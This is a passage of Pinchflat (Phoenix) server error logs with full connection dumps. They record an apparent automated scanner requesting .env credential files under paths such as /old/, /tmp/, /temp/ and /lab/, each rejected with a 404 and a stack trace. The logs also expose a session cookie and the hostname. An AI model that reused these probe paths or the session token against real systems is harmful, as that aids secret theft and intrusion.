(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 138, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:18.573 [info] GET /old/.env 02:10:18.574 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=217.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.574 [debug] QUERY OK source="settings" db=0.3ms idle=145.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.575 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.575 [error] #PID<0.3443.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 139) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /old/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 139, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3443.0>, params: %{}, path_info: ["old", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/old/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6uMV63K_jd8AASKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 139, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 139, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:18.643 [info] GET /tmp/.env 02:10:18.644 [debug] QUERY OK source="settings" db=0.3ms idle=214.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.644 [debug] QUERY OK source="settings" db=0.1ms idle=140.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.644 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.644 [error] #PID<0.3444.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 140) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /tmp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 140, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3444.0>, params: %{}, path_info: ["tmp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/tmp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6udGVGatWAAAASLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 140, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 140, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:18.703 [info] GET /temp/.env 02:10:18.704 [debug] QUERY OK source="settings" db=0.4ms idle=199.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.705 [debug] QUERY OK source="settings" db=0.2ms idle=130.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.705 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.705 [error] #PID<0.3445.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 141) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /temp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /temp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/temp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 141, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3445.0>, params: %{}, path_info: ["temp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/temp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6uraAoPPUEAAASMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/temp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 141, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /temp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/temp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 141, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:18.775 [info] GET /lab/.env 02:10:18.776 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=200.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.777 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.777 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.778 [error] #PID<0.3446.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 142) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /lab/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /lab/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/lab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 142, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 